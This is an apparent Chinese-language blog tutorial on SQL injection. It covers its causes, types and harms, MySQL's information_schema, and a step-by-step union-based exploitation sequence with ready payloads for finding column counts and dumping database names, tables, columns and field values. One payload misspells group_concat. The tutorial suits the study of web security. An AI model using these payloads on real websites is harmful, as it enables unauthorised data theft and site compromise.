• SQL注入


    SQL注入

    SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术

    SQL注入产生原理

    1. 对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等),就被带到数据库执行。造成了SQL注入
    2. 使用了字符串拼接的方式构造SQL语句

    SQL注入的分类

    1. 从注入手法分类可以分为:联合注入查询,报错型注入,布尔型注入,延时注入,堆叠注入
    2. 从注入类型上可以分为:字符型(即输入的输入使用符号进行过滤),数值型(即输入的输入未使用符号进行过滤)
    3. 从注入位置可以分为:GET数据(提交数据方式为GET,大多存在地址栏),POST(提交数据方式为POST,大多存在输入框中),HTTP头部(提交数据方式为HTTP头部),cookie数据(提交方式为cookie)

    SQL注入的危害

    分为两类:危害数据库里的数据,直接危害到网站的权限(需要满足条件)

    1. 数据库信息泄露
    2. 网页篡改:登陆后台发布恶意内容
    3. 网站挂马:当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
    4. 私自添加系统账号
    5. 读写文件获取webshell

    MYSQL数据库

    数据库A=网站A=数据库用户A

    表名

    列名

    数据

    数据库B=网站B=数据库用户B

    。。。。。。

    数据库C=网站C=数据库用户C

    。。。。。。

    必要知识

    1. 在MYSQL5.0以上的版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
    2. 数据库中符号“.”代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
    3. 常用参数

    Information_schema.tables:记录所有表名信息的表

    Information_schema.columns:记录所有列名信息的表

    Table_name:表名

    Column_name:列名

    Table_schema:数据库名

    User() 查看当前MYSQL登陆的用户名

    Database() 查看当前使用MYSQL数据库名

    Version() 查看当前MYSQL版本

    如何判断注入点

    1. 如果页面中MYSQL报错,证明该页面中存在SQL注入漏洞

    单引号’

    And 1=1

    And 1=2

    Select * from users where id=1 and 1=1 limit 0,1 正常

    Select * from users where id=1 and 1=2 limit 0,2 错误

    1. 逻辑运算符(或与非)

    真且真 = 真

    真且假 = 假

    真或假 = 真

    Select * from users where id=1 真

    1=1 真

    1=2 假

    真且真=真

    真且假=假

    Select * from users where id=1 or 1=1 limit 0,1 正常

    Select * from users where id=1 or 1=2 limit 0,1 正常

    SQL注入利用

    1.根据注入位置数据类型将sql注入分类

    2.利用order判断字段数

    Order by x(数字) 正确与错误的正常值 正确网页正常显示,错误网页报错

    ?id=1’ order by 3 --+

    3.利用union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

    ?id=-1 union select 1,2,3 --+

    4.利用函数database(),user(),version()可以得到所侦测数据库的数据库名,用户名和版本号

    ?id=-1 union select 1,database(),version() --+

    5.利用 union select 联合查询,获取表名

    ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’已知库名’ --+

    6.利用 union select 联合查询,获取字段名

    ?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’已知表名’ --+

    7.利用 union select 联合查询,获取字段值

    ?id=-1’ union select 1,2,group_connat(已知字段名,’:’,已知字段名) from 已知表名 --+

  • 相关阅读:
    信号量机制读者/写者问题写者优先的理解
    spring redis 工具类
    Vue 之 vue-seamless-scroll 实现简单自动无缝滚动,且添加对应点击事件的简单整理
    【零基础入门SpringMVC】第三期——请求域添加数据与视图
    Qt quick-QML地图引擎之v3版本(新增高德/谷歌在线/离线预览/多线程离线裁剪下载/区域查询/位置搜索/路径规划)
    山东菏泽家乡网页代码 html静态网页设计制作 dw静态网页成品模板素材网页 web前端网页设计与制作 div静态网页设计
    STL标准模板库
    vue - 登录 API 接口的封装
    Redis源码与设计剖析 -- 13.有序集合对象
    python mean()求平均值
  • 原文地址:https://blog.csdn.net/lyshark_lyshark/article/details/126799232